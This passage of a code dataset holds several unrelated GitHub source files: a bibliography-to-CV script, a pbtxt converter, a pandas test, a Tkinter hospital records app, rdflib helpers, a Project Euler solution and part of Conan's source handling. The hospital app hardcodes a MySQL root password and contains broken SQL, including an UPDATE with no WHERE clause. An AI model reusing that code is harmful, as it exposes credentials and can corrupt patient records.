= False\n pdf_link = True\n pdf_url = 'http://arxiv.org/pdf/'+arxiv\n if not doilink:\n kind = 'Arxiv'\n if prefix == 'inpro':\n for tt in selected_titles:\n if tt in et['title']:\n arxiv_url = '#'\n alink = False\n slink = False\n pdf_link = True\n pdf_url = ''\n else:\n arxiv_url = '#'\n alink = False\n slink = False\n pdf_link = False\n pdf_url = ''\n if prefix == 'ascl':\n arxiv_url = 'http://ascl.net/'+arxiv\n alink = False\n slink = True\n journal = 'Astrophysics Source Code Library'\n kind = 'Software'\n pdf_link = False\n pdf_url = '#'\n if prefix == 'prep':\n arxiv_url = '#'\n alink = False\n slink = False\n preplink = True\n year = '2018'\n kind = \"Finishing\"\n pdf_link = False\n pdf_url = '#'\n\n temp = {}\n temp['title'] = get_title(et)\n short, long = get_authors(et)\n temp['authors'] = short\n temp['authors_long'] = long\n temp['arxiv'] = arxiv\n temp['year'] = year\n temp['url'] = url\n temp['doi'] = doi\n temp['arxiv_link'] = alink\n temp['doi_link'] = doilink\n temp['soft_link'] = slink\n temp['ads_link'] = adslink\n temp['prep_link'] = preplink\n temp['journal'] = journal\n temp['pages'] = pages\n temp['arxiv_url'] = arxiv_url\n temp['kind'] = kind\n temp['pdf_link'] = pdf_link\n temp['pdf_url'] = pdf_url\n texline = r'\\cvline{}{$\\bullet $'\n if pdf_link:\n texline += r' '+short+', \\\\textit{``{{'+get_title(et)+'}}\\'\\'}, '\n if doilink:\n texline += r'{\\color{blue}\\href{'+url+'}{'+journal+', '+pages+'}}'\n else:\n texline += r'{\\color{blue}\\href{'+url+'}{'+journal+':'+arxiv+'}}'\n texline += r' ('+year+')}\\\\\\\\[1pt]'\n if texline.find('Carrasco Kind') > -1:\n\n texline = texline.replace('M. Carrasco Kind', '\\\\textbf{M. Carrasco Kind}')\n texmine.append(texline)\n else:\n texall.append(texline)\n if short.find('Carrasco Kind') > -1:\n datamine.append(temp)\n if arxiv in ['1801.03181']:\n datamine.append(temp)\n data.append(temp)\n temp2['papers'] = data\n Alldata.append(temp2)\n json.dump(Alldata, out, indent=4)\n\nAlldatamine.append({'papers': datamine})\nwith open(os.path.join(ROOT, 'publications_sel.json'), 'w') as out:\n json.dump(Alldatamine, out, indent=4)\n Fmine = open(os.path.join('/home/matias/', 'Dropbox/CV/ingles/mine_bibs.tex'), 'w')\n Fall = open(os.path.join('/home/matias', 'Dropbox/CV/ingles/all_bibs.tex'), 'w')\n for line in texmine:\n Fmine.write(line+'\\n')\n Fmine.close()\n for line in texall:\n try:\n Fall.write(line+'\\n')\n except:\n print(line)\n Fall.close()\n","repo_name":"mgckind/website","sub_path":"publications/read_bib.py","file_name":"read_bib.py","file_ext":"py","file_size_in_byte":8810,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"36007091123","text":"\"\"\"\nI don't know why using pbtxt format, but I am gonna convert it into json\n\"\"\"\nimport os\nimport json\nfrom pprint import pprint\nimport sys\n\n\ndef parse_pb_text(pb_f):\n if os.path.exists(pb_f):\n with open(pb_f, 'r') as f:\n\n is_start = False\n is_end = False\n\n all_items = []\n one_dict = dict()\n for l in f.readlines():\n l_s = l.strip()\n\n if l_s != \"\":\n if l_s.endswith('{'):\n is_start = True\n elif l_s.endswith('}'):\n is_end = True\n else:\n is_start = False\n is_end = False\n\n if not is_start and not is_end:\n one_dict[l_s.split(':')[0]] = l_s.split(':')[1].strip(). \\\n strip('\"').strip('\"').strip(\"'\").strip(\"'\")\n else:\n if len(one_dict.keys()) >= 1:\n all_items.append(one_dict)\n one_dict = dict()\n pprint(all_items)\n to_save_f = os.path.join(os.path.dirname(pb_f), os.path.basename(pb_f).split('.')[0] + '.json')\n save_json_to_local(to_save_f, all_items)\n\n\ndef save_json_to_local(to_save_file, json_obj):\n with open(to_save_file, 'w+') as f:\n json.dump(json_obj, f, indent=4, ensure_ascii=False)\n print('json has been saved into {}'.format(to_save_file))\n print('Done!')\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print('specific a labelmap.pbtxt file please')\n else:\n parse_pb_text(sys.argv[1])\n","repo_name":"UnrealVision/rfcn","sub_path":"vis/convert_pbtxt_to_json.py","file_name":"convert_pbtxt_to_json.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"25972312542","text":"'''\r\n主要用来测试双索引group的情况下DataFrame进行循环的操作\r\n'''\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nweight = {\r\n 's1': np.random.random(8),\r\n 's2': np.random.random(8),\r\n 's3': np.random.random(8),\r\n 's4': np.random.random(8),\r\n }\r\ndf1 = pd.DataFrame(weight, index=[['a', 'b', 'a', 'b', 'a', 'b', 'a', 'b'], ['h', 'h', 'h', 'h', 'i', 'i', 'i', 'i']]).reset_index()\r\nprint('DataFrame:df1\\n', df1)\r\ndf_group = df1.groupby(['level_0', 'level_1'])\r\n# print(df_group)\r\ngrouped_df_dic = dict(list(df_group))\r\n#print(grouped_df_dic)\r\nths_code_set_4_daily = set(df_group.size().index)\r\nprint('key set:', ths_code_set_4_daily)\r\nfor key, data_df in grouped_df_dic.items():\r\n print(key, '\\n', data_df)\r\n# 无需 todict 在for items 直接 操作就可以\r\nfor key, data_df in df_group:\r\n print(key, '\\n', data_df)\r\n\r\ndfg = df1.groupby('level_0')\r\nprint(\"dfg.get_group('a'):\\n\", dfg.get_group('a'))","repo_name":"mmmaaaggg/RefUtils","sub_path":"src/fh_tools/language_test/PandasTest/df_group_test.py","file_name":"df_group_test.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"12291378689","text":"from tkinter import*\nfrom tkinter import ttk \nimport random\nimport time\nimport datetime\nfrom tkinter import messagebox\nimport mysql.connector\n\n\n\n\nclass Hospital:\n def __init__(self,root):\n self.root=root\n self.root.title(\"Hospital Management System\")\n self.root.geometry(\"1540x800+0+0\")\n\n self.Nameoftablets=StringVar()\n self.ref=StringVar()\n self.Dose=StringVar()\n self.NumberofTablets=StringVar()\n self.Lot=StringVar()\n self.Issuedate=StringVar()\n self.ExpDate=StringVar()\n self.DailyDose=StringVar()\n self.sideEfect=StringVar()\n self.FurtherInformation=StringVar()\n self.StorageAdvice=StringVar()\n self.DrivingUsingMachine=StringVar()\n self.HowToUseMedication=StringVar()\n self.PatientId=StringVar()\n self.nhsNumber=StringVar()\n self.PatientName=StringVar()\n self.DateOfBirth=StringVar()\n self.PatientAddress=StringVar()\n self.Booldp=StringVar()\n \n\n\n \n \n lbltitle=Label(self.root,bd=20,relief=RIDGE,text=\"Online Hospital Management System\",fg=\"red\",bg=\"white\",font=(\"time new roman\",50,\"bold\"))\n lbltitle.pack(side=TOP,fill=X)\n\n ###########for DATA FRame##################\n\n Dataframe=Frame(self.root,bd=20,relief=RIDGE)\n Dataframe.place(x=0,y=130,width=1530,height=400)\n \n\n\n DataframeLeft=LabelFrame(Dataframe,bd=10,relief=RIDGE,padx=10,\n font=(\"arial\",12,\"bold\"),text=\"Patient Information\")\n\n DataframeLeft.place(x=0,y=5,width=980,height=350)\n \n DataframeRight=LabelFrame(Dataframe,bd=10,relief=RIDGE,padx=10,\n font=(\"arial\",12,\"bold\"),text=\"Prescription\")\n\n DataframeRight.place(x=990,y=5,width=460,height=350)\n\n\n ###############Button Frame ##############\n Buttonframe=Frame(self.root,bd=20,relief=RIDGE)\n Buttonframe.place(x=0,y=530,width=1530,height=70)\n\n ###############Details Frame ##############\n Detailsframe=Frame(self.root,bd=20,relief=RIDGE)\n Detailsframe.place(x=0,y=600,width=1530,height=190)\n\n #============================DataframeLeft=========================\n \n #===============lable for tablet==================\n lblNameTablet=Label(DataframeLeft,text=\"Names of Tablet\",font=(\"arial\",12,\"bold\"),padx=2,pady=6)\n lblNameTablet.grid(row=0,column=0)\n\n comNameTablet=ttk.Combobox(DataframeLeft,textvariable=self.Nameoftablets,state=\"readonly\", font=(\"arial\",12,\"bold\"),\n width=33)\n comNameTablet[\"values\"]=(\"Nice\",\"corona Vacacine\",\"Acetaninophen\",\"Adderall\",\"Amlodipine\",\"Ativan\",\"fluticasone\",\"insulin glargine\",\n \"lisdexamfetamine\",\"pregabalin\",\"tiotropium\",\"sitagliptin\",\"levothyroxine\",\"rosuvastatin\",\"albuterol\",\"Nexium\",\"Naproxen\",\"Clonazepam\",\"Pantoprazole\",\"Prednisone\") \n comNameTablet.current(0)\n comNameTablet.grid(row=0,column=1) \n \n #============lable for refence no.:-=================\n lblref=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Refence No:-\",padx=2)\n lblref.grid(row=1,column=0,sticky=W) \n txtref=Entry(DataframeLeft,font=(\"arial\",12,\"bold\"),textvariable=self.ref,width=35)\n txtref.grid(row=1,column=1) \n #==================lable for Dose============\n lblDose=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Dose:-\",padx=2,pady=4)\n lblDose.grid(row=2,column=0,sticky=W) \n txtDose=Entry(DataframeLeft,font=(\"arial\",12,\"bold\"),textvariable=self.Dose,width=35)\n txtDose.grid(row=2,column=1) \n#================lable for no of tablets ===============\n lblNoOftablets=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"No of Tablets:-\",padx=2,pady=6)\n lblNoOftablets.grid(row=3,column=0,sticky=W) \n txtNoOftablets=Entry(DataframeLeft,textvariable=self.NumberofTablets,font=(\"arial\",12,\"bold\"),width=35)\n txtNoOftablets.grid(row=3,column=1) \n #======= lable for No of lots========================#\n lblLot=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Lot:-\",padx=2,pady=6)\n lblLot.grid(row=4,column=0,sticky=W) \n txtLot=Entry(DataframeLeft,textvariable=self.Lot,font=(\"arial\",12,\"bold\"),width=35)\n txtLot.grid(row=4,column=1) \n#=================lable for Issue dates===================\n lblissueDate=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Issue Date:-\",padx=2,pady=6)\n lblissueDate.grid(row=5,column=0,sticky=W) \n txtissueDate=Entry(DataframeLeft,textvariable=self.Issuedate,font=(\"arial\",12,\"bold\"),width=35)\n txtissueDate.grid(row=5,column=1) \n\n #=================ExpDate Lable+++++++++++++++++\n lblExpDate=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Exp Date:-\",padx=2,pady=6)\n lblExpDate.grid(row=6,column=0,sticky=W) \n txtExpDate=Entry(DataframeLeft,textvariable=self.ExpDate,font=(\"arial\",12,\"bold\"),width=35)\n txtExpDate.grid(row=6,column=1) \n\n #+++++++++++++++++++++++++lable for Daily Dose++++++++++++++++++++++\n lblDailyDose=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Daily Dose:-\",padx=2,pady=4)\n lblDailyDose.grid(row=7,column=0,sticky=W) \n txtDailyDose=Entry(DataframeLeft,textvariable=self.DailyDose,font=(\"arial\",12,\"bold\"),width=35)\n txtDailyDose.grid(row=7,column=1) \n\n #=======================Side Effect Lable+++++++++++++++++++++++++++++++++++++++++++++\n lblSideEffect=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Side Effect:-\",padx=2,pady=6)\n lblSideEffect.grid(row=8,column=0,sticky=W) \n txtSideEffect=Entry(DataframeLeft,textvariable=self.sideEfect,font=(\"arial\",12,\"bold\"),width=35)\n txtSideEffect.grid(row=8,column=1) \n#========================lable for Futher Information==============\n lblFurtherinfo=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Further Information\",padx=2)\n lblFurtherinfo.grid(row=0,column=2,sticky=W) \n txtFurtherinfo=Entry(DataframeLeft,textvariable=self.FurtherInformation,font=(\"arial\",12,\"bold\"),width=35)\n txtFurtherinfo.grid(row=0,column=3) \n#=======================lable for Blood Preessure++++++++++++++++\n lblBloodPressure=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Blood Pressure\",padx=2,pady=6)\n lblBloodPressure.grid(row=1,column=2,sticky=W) \n txtBloodPress=Entry(DataframeLeft,textvariable=self.Booldp,font=(\"arial\",12,\"bold\"),width=35)\n txtBloodPress.grid(row=1,column=3) \n\n\n #===============Storage Advice ++++++++++=====\n lblStorage=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Storage Advice\",padx=2,pady=6)\n lblStorage.grid(row=2,column=2,sticky=W) \n txtStorage=Entry(DataframeLeft,textvariable=self.StorageAdvice,font=(\"arial\",12,\"bold\"),width=35)\n txtStorage.grid(row=2,column=3)\n\n #===================Medication lable===========\n lblMedicine=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Medication\",padx=2,pady=6)\n lblMedicine.grid(row=3,column=2,sticky=W) \n txtMedicine=Entry(DataframeLeft,textvariable=self.HowToUseMedication,font=(\"arial\",12,\"bold\"),width=35)\n txtMedicine.grid(row=3,column=3)\n #==================Patient Id+++++++++++\n lblPatientId=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Patient ID:-\",padx=2,pady=6)\n lblPatientId.grid(row=4,column=2,sticky=W) \n txtPatientId=Entry(DataframeLeft,textvariable=self.PatientId,font=(\"arial\",12,\"bold\"),width=35)\n txtPatientId.grid(row=4,column=3)\n #===============Nhs Number +++++++++++++++++\n lblNhsNumber=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"NHS Number:-\",padx=2,pady=6)\n lblNhsNumber.grid(row=5,column=2,sticky=W) \n txtNhsNumber=Entry(DataframeLeft,textvariable=self.nhsNumber,font=(\"arial\",12,\"bold\"),width=35)\n txtNhsNumber.grid(row=5,column=3)\n #==============Patient Name+++++++++++++++\n lblPatientname=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Patient Name:-\",padx=2,pady=6)\n lblPatientname.grid(row=6,column=2,sticky=W) \n txtPatientname=Entry(DataframeLeft,textvariable=self.PatientName,font=(\"arial\",12,\"bold\"),width=35)\n txtPatientname.grid(row=6,column=3)\n\n #==================patient Date of Birth lable ================\n lblDateOfBirth=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Date of Birth\",padx=2,pady=6)\n lblDateOfBirth.grid(row=7,column=2,sticky=W) \n txtDateOfBirth=Entry(DataframeLeft,textvariable=self.DateOfBirth,font=(\"arial\",12,\"bold\"),width=35)\n txtDateOfBirth.grid(row=7,column=3)\n #==============Patient Addresss lable ========================================\n lblPatientAddress=Label(DataframeLeft,font=(\"arial\",12,\"bold\"),text=\"Patient Address\",padx=2,pady=6)\n lblPatientAddress.grid(row=8,column=2,sticky=W) \n txtPatientAddress=Entry(DataframeLeft,textvariable=self.PatientAddress,font=(\"arial\",12,\"bold\"),width=35)\n txtPatientAddress.grid(row=8,column=3)\n\n\n\n\n\n\n#=========================DataFrameRight+++++++++++++++++++++++++++==\n self.txtPrescription=Text(DataframeRight,font=(\"arial\",12,\"bold\"),width=45,height=16,padx=2,pady=6)\n self.txtPrescription.grid(row=0,column=0)\n\n\n #================================Buttons+++++++++++++++++++++++========\n btnPrescription=Button(bd=5,relief=RIDGE,command=self.iPrectioption,text=\"Presciption\",fg=\"black\",bg=\"green\",font=(\"arial\",12,\"bold\"),width=20,height=1,padx=2,pady=6)\n btnPrescription.place(x=11,y=540)\n \n\n\n btnPrescriptionData=Button(bd=5,command=self.iPrescriptionData,relief=RIDGE,text=\"Presciption Data\",bg=\"green\",fg=\"black\",font=(\"arial\",12,\"bold\"),width=20,height=1,padx=2,pady=6)\n btnPrescriptionData.place(x=227,y=540)\n\n\n btnUpdate=Button(bd=5,command=self.update_data ,relief=RIDGE,text=\"Update\",bg=\"green\",fg=\"black\",font=(\"arial\",12,\"bold\"),width=20,height=1,padx=2,pady=6)\n btnUpdate.place(x=443,y=540)\n\n\n btnDelete=Button(bd=5,relief=RIDGE,command=self.idelete,text=\"Delete\",bg=\"green\",fg=\"black\",font=(\"arial\",12,\"bold\"),width=20,height=1,padx=2,pady=6)\n btnDelete.place(x=659,y=540)\n\n\n btnClear=Button(bd=5,relief=RIDGE, command=self.clear,text=\"clear\",bg=\"green\",fg=\"black\",font=(\"arial\",12,\"bold\"),width=20,height=1,padx=2,pady=6)\n btnClear.place(x=875,y=540)\n\n\n\n btnExit=Button(bd=5,relief=RIDGE,command=self.iExit,text=\"Exit\",bg=\"green\",fg=\"black\",font=(\"arial\",12,\"bold\"),width=20,height=1,padx=2,pady=6)\n btnExit.place(x=1091,y=540)\n\n btnSearch=Button(bd=5,relief=RIDGE,text=\"Search\",bg=\"green\",fg=\"black\",font=(\"arial\",12,\"bold\"),width=20,height=1,padx=2,pady=6)\n btnSearch.place(x=1307,y=540)\n##########===========================Table++++++++++++++++++++++++====================\n#####################################Scrolbar++++++++++++++++++++============\n scroll_x=ttk.Scrollbar(Detailsframe,orient=HORIZONTAL)\n scroll_y=ttk.Scrollbar(Detailsframe,orient=VERTICAL)\n self.hospital_table=ttk.Treeview(Detailsframe,column=(\"Nameoftablets\",\"ref\",\"dose\",\"nooftablets\",\"lot\",\"issuedate\",\"expdate\",\"dailydose\",\"storage\",\"nhsnumber\",\"pname\",\"dob\",\"address\"),xscrollcommand=scroll_x.set,yscrollcommand=scroll_y.set)\n \n \n scroll_x.pack(side=BOTTOM,fill=X)\n scroll_y.pack(side=RIGHT,fill=Y)\n\n scroll_x=ttk.Scrollbar(command=self.hospital_table.xview)\n scroll_y=ttk.Scrollbar(command=self.hospital_table.yview)\n\n\n self.hospital_table.heading(\"Nameoftablets\",text=\"Name of Tablet\")\n self.hospital_table.heading(\"ref\",text=\"Reference No:-\")\n self.hospital_table.heading(\"dose\",text=\"Dose\")\n self.hospital_table.heading(\"nooftablets\",text=\"No of Tablets\")\n self.hospital_table.heading(\"lot\",text=\"Lot\")\n self.hospital_table.heading(\"issuedate\",text=\"Issue Date\")\n self.hospital_table.heading(\"expdate\",text=\"Exp Date\")\n self.hospital_table.heading(\"dailydose\",text=\"Daily Dose\")\n self.hospital_table.heading(\"storage\",text=\"Storage\")\n self.hospital_table.heading(\"nhsnumber\",text=\"NHS Number\")\n self.hospital_table.heading(\"pname\",text=\"Patient Name\")\n self.hospital_table.heading(\"address\",text=\"Address\")\n self.hospital_table.heading(\"dob\",text=\"DOB\")\n\n self.hospital_table[\"show\"]=\"headings\"\n\n \n\n self.hospital_table.column(\"Nameoftablets\",width=100)\n self.hospital_table.column(\"ref\",width=100)\n self.hospital_table.column(\"dose\",width=100)\n self.hospital_table.column(\"nooftablets\",width=100)\n self.hospital_table.column(\"lot\",width=100)\n self.hospital_table.column(\"issuedate\",width=100)\n self.hospital_table.column(\"dailydose\",width=100)\n self.hospital_table.column(\"storage\",width=100)\n self.hospital_table.column(\"nhsnumber\",width=100)\n self.hospital_table.column(\"pname\",width=100)\n self.hospital_table.column(\"address\",width=100)\n self.hospital_table.column(\"dob\",width=100)\n\n self.hospital_table.pack(fill=BOTH,expand=1)\n self.hospital_table.bind(\"\",self.get_cursor)\n self.fetch_data()\n\n\n\n\n############################function Declration#####################################\n\n\n def iPrescriptionData(self):\n if self.Nameoftablets.get()==\"\" or self.ref.get()==\"\":\n messagebox.showerror(\"Error\",\"All field are reuired\")\n else:\n conn=mysql.connector.connect(host=\"localhost\",username=\"root\",password=\"Ar#12345\",database=\"Mydata\")\n my_cursor=conn.cursor()\n my_cursor.execute(\"insert into hospital values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\",(\n self.Nameoftablets.get(),\n self.ref.get(),\n self.Dose.get(),\n self.NumberofTablets.get(),\n self.Lot.get(),\n self.Issuedate.get(),\n self.ExpDate.get(),\n self.DailyDose.get(),\n self.StorageAdvice.get(),\n self.nhsNumber.get(),\n self.PatientName.get(),\n self.DateOfBirth.get(),\n self.PatientAddress.get()\n ))\n conn.commit()\n self.fetch_data()\n conn.close()\n messagebox.showinfo(\"Success\",\"Record has been inserted\")\n\n \n def update_data(self):\n conn=mysql.connector.connect(host=\"localhost\",username=\"root\",password=\"Ar#12345\",database=\"mydata\")\n my_cursor=conn.cursor()\n my_cursor.execute(\"update into hospital set Nameoftablets=%s,ref=%s,Dose=%s,NumberofTablets=%s,Lot=%s,Issuedate=%s,ExpDate=%s,DailyDose=%s,StorageAdvice=%s,nhsNumber=%s,PatientName=%s,DateOfBirth=%s,PatientAddress=%s\",(\n self.Nameoftablets.get(),\n self.ref.get(),\n self.Dose.get(),\n self.NumberofTablets.get(),\n self.Lot.get(),\n self.Issuedate.get(),\n self.ExpDate.get(),\n self.DailyDose.get(),\n self.StorageAdvice.get(),\n self.nhsNumber.get(),\n self.PatientName.get(),\n self.DateOfBirth.get(),\n self.PatientAddress.get()\n ))\n conn.commit()\n self.fetch_data()\n conn.close()\n messagebox.showinfo(\"Success\",\"Record has been updated\") \n\n\n def fetch_data(self):\n\n conn=mysql.connector.connect(host=\"localhost\",username=\"root\",password=\"Ar#12345\",database=\"mydata\")\n my_cursor=conn.cursor()\n my_cursor.execute(\"select 8 from hospital\")\n rows=my_cursor.fetchall()\n if len(rows)!=0:\n self.hospital_table.delete(*self.hospital_table.get_children())\n for i in rows:\n self.hospital_table.insert(\"\",END,values=i)\n conn.commit()\n conn.close() \n\n def get_cursor(self,event=\"\"):\n cursor_row=self.hospital_table.focus()\n content=self.hospital_table.item(cursor_row)\n row=content[\"values\"]\n self.Nameoftablets.set(row[0])\n self.ref.set(row[1])\n self.Dose.set(row[2])\n self.NumberofTablets.set(row[3])\n self.Lot.set(row[4])\n self.Issuedate.set(row[5])\n self.ExpDate.set(row[6]) \n self.DailyDose.set(row[7])\n self.StorageAdvice.set(row[8])\n self.nhsNumber.set(row[9])\n self.PatientName.set(row[10])\n self.DateOfBirth.set(row[11])\n self.PatientAddress.set(row[12])\n\n def iPrectioption(self):\n self.txtPrescription.insert(END,\"Name of Tablets:-\\t\\t\\t\"+self.Nameoftablets.get()+\"\\n\")\n self.txtPrescription.insert(END,\"Reference number :-\\t\\t\\t\"+self.ref.get()+\"\\n\") \n self.txtPrescription.insert(END,\"Dose:\\t\\t\\t\"+self.Dose.get()+\"\\n\") \n self.txtPrescription.insert(END,\"Number of tablets:-\\t\\t\\t\"+self.NumberofTablets.get()+\"\\n\") \n self.txtPrescription.insert(END,\"LOT:-\\t\\t\\t\"+self.Lot.get()+\"\\n\")\n self.txtPrescription.insert(END,\"Issuedate:-\\t\\t\\t\"+self.Issuedate.get()+\"\\n\")\n self.txtPrescription.insert(END,\"ExpDate :\\t\\t\\t\"+self.ExpDate.get()+\"\\n\") \n self.txtPrescription.insert(END,\"DailyDose:-\\t\\t\\t\"+self.DailyDose.get()+\"\\n\")\n self.txtPrescription.insert(END,\"Side effetcs:\\t\\t\\t\"+self.sideEfect.get()+\"\\n\") \n self.txtPrescription.insert(END,\"Futher Information:\\t\\t\\t\"+self.FurtherInformation.get()+\"\\n\") \n self.txtPrescription.insert(END,\"Storage Advice:-\\t\\t\\t\"+self.StorageAdvice.get()+\"\\n\") \n self.txtPrescription.insert(END,\"DrivingUsingMachine :-\\t\\t\\t\"+self.DrivingUsingMachine.get()+\"\\n\") \n self.txtPrescription.insert(END,\" patient ID:-\\t\\t\\t\"+self.PatientId.get()+\"\\n\") \n self.txtPrescription.insert(END,\"Nhs Number :-\\t\\t\\t\"+self.nhsNumber.get()+\"\\n\")\n self.txtPrescription.insert(END,\"patient Name :-\\t\\t\\t\"+self.PatientName.get()+\"\\n\") \n self.txtPrescription.insert(END,\"Date of Birth :-\\t\\t\\t\"+self.DateOfBirth.get()+\"\\n\") \n self.txtPrescription.insert(END,\"PAtient Address :-\\t\\t\\t\"+self.PatientAddress.get()+\"\\n\") \n \n\n\n def idelete(self):\n\n conn=mysql.connector.connect(host=\"localhost\",username=\"root\",password=\"Ar#12345\",database=\"mydata\")\n my_cursor=conn.cursor()\n query=\"delete from hospital where Reference_No=%s\"\n value=(self.ref.get(),)\n my_cursor.execute(query,value)\n\n conn.commit()\n conn.close()\n\n self.fetch_data()\n messagebox.showinfo(\"Delete\",\"patient has been delete succesfully\")\n\n def clear(self):\n self.Nameoftablets.set(\"\")\n self.ref.set(\"\")\n self.Dose.set(\"\")\n self.NumberofTablets.set(\"\")\n self.Lot.set(\"\")\n self.Issuedate.set(\"\")\n self.ExpDate.set(\"\") \n self.DailyDose.set(\"\")\n self.sideEfect.set(\"\")\n self.FurtherInformation.set(\"\")\n self.PatientId.set(\"\")\n self.StorageAdvice.set(\"\")\n self.nhsNumber.set(\"\")\n self.PatientName.set(\"\")\n self.DateOfBirth.set(\"\")\n self.PatientAddress.set(\"\")\n self.Booldp.set(\"\")\n self.HowToUseMedication.set(\"\")\n self.txtPrescription.delete(\"1.0\",END)\n\n\n def iExit(self):\n iExit=messagebox.askyesno(\"Hospital management System\",\"confire you want to exit\")\n if iExit>0:\n root.destroy()\n return\n\n\n\n\n\n\n\n\nroot=Tk()\nob=Hospital(root)\nroot.mainloop()\n","repo_name":"arvindbis29/Anuzalaya","sub_path":"hospital.py","file_name":"hospital.py","file_ext":"py","file_size_in_byte":22573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"14804360547","text":"\nimport os\nimport sys\nfrom rdflib import ConjunctiveGraph, Graph\nfrom vapour.namespaces import *\nfrom vapour.common.odict import OrderedDict\n\n#logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s %(filename)s:%(lineno)d %(levelname)s: %(message)s\", stream=sys.stderr)\n\ndef createStore():\n store = ConjunctiveGraph()\n store.bind('earl', EARL)\n store.bind('rdf', RDF)\n store.bind('rdfs', RDFS)\n store.bind('dc', DC)\n store.bind('dct', DCT)\n store.bind('uri', URI)\n store.bind('http', HTTP)\n store.bind('vapour', VAPOUR)\n store.bind('recipes', RECIPES)\n store.bind('foaf', FOAF)\n return store\n\ndef createModel(store):\n return store\n\ndef getBestFormat(accceptHeader):\n #Example: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n mimes = OrderedDict()\n for one in accceptHeader.split(\",\"):\n mime = None\n q = None\n splitted = one.split(\";\")\n if (len(splitted)>1):\n mime = splitted[0]\n q = float(splitted[1].split(\"=\")[1])\n else:\n mime = splitted[0]\n q = float(\"1.0\")\n while (mime[0]==\" \"):\n mime = mime[1:]\n while (mime[-1]==\" \"):\n mime = mime[:-1]\n if not mimes.has_key(q):\n mimes[q] = []\n mimes[q].append(mime)\n\n mimes.sort()\n mimes.reverse()\n \n for q, mime in mimes.items():\n if (\"application/xhtml+xml\" in mime or \"text/html\" in mime):\n return \"html\"\n if (\"application/rdf+xml\" in mime):\n return \"rdf\"\n return \"html\"\n\n","repo_name":"berrueta/vapour","sub_path":"apps/vapour/cup/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"43209948171","text":"from euler import factorise, is_prime, prime_sieve\r\n#\r\n#\r\n# def sieve(num, prime):\r\n# if prime == []:\r\n# return len(range(1, num))\r\n# result= list(range(num))\r\n# prime = set(prime)\r\n# for i in prime:\r\n# for k in range(1, int(num / i)):\r\n# result[k * i] = 0\r\n# result = set(result)\r\n# return len(result) - 1\r\n#\r\n# result = 0\r\n# counter = 0\r\n# for i in range(2, 1000000):\r\n# if not is_prime(i):\r\n# a = i / sieve(i, list(factorise(i)))\r\n# if a > counter:\r\n# print(i)\r\n# counter = a\r\n# result = i\r\ntotal = 1\r\nfor i in prime_sieve(2000):\r\n total *= i\r\n if total > 10 ** 7:\r\n print(total / i)\r\n break\r\n","repo_name":"tonyyzy/ProjectEuler","sub_path":"51-75/69.py","file_name":"69.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"31841787635","text":"import os\n\nfrom conan.api.output import ConanOutput\nfrom conans.errors import ConanException, conanfile_exception_formatter, NotFoundException, \\\n conanfile_remove_attr\nfrom conans.util.files import (is_dirty, mkdir, rmdir, set_dirty_context_manager,\n merge_directories, clean_dirty, chdir)\n\n\ndef _try_get_sources(ref, remote_manager, recipe_layout, remote):\n try:\n remote_manager.get_recipe_sources(ref, recipe_layout, remote)\n except NotFoundException:\n return\n except Exception as e:\n msg = (\"The '%s' package has 'exports_sources' but sources not found in local cache.\\n\"\n \"Probably it was installed from a remote that is no longer available.\\n\"\n % str(ref))\n raise ConanException(\"\\n\".join([str(e), msg]))\n return remote\n\n\ndef retrieve_exports_sources(remote_manager, recipe_layout, conanfile, ref, remotes):\n \"\"\" the \"exports_sources\" sources are not retrieved unless necessary to build. In some\n occassions, conan needs to get them too, like if uploading to a server, to keep the recipes\n complete\n \"\"\"\n if conanfile.exports_sources is None and not hasattr(conanfile, \"export_sources\"):\n return None\n\n export_sources_folder = recipe_layout.export_sources()\n if os.path.exists(export_sources_folder):\n return None\n\n for r in remotes:\n sources_remote = _try_get_sources(ref, remote_manager, recipe_layout, r)\n if sources_remote:\n break\n else:\n msg = (\"The '%s' package has 'exports_sources' but sources not found in local cache.\\n\"\n \"Probably it was installed from a remote that is no longer available.\\n\"\n % str(ref))\n raise ConanException(msg)\n\n ConanOutput(scope=str(ref)).info(\"Sources downloaded from '{}'\".format(sources_remote.name))\n\n\ndef config_source(export_source_folder, conanfile, hook_manager):\n \"\"\" Implements the sources configuration when a package is going to be built in the\n local cache:\n - remove old sources if dirty\n - do a copy of the exports_sources folders to the source folder in the cache\n - run the source() recipe method\n \"\"\"\n\n if is_dirty(conanfile.folders.base_source):\n conanfile.output.warning(\"Trying to remove corrupted source folder\")\n conanfile.output.warning(\"This can take a while for big packages\")\n 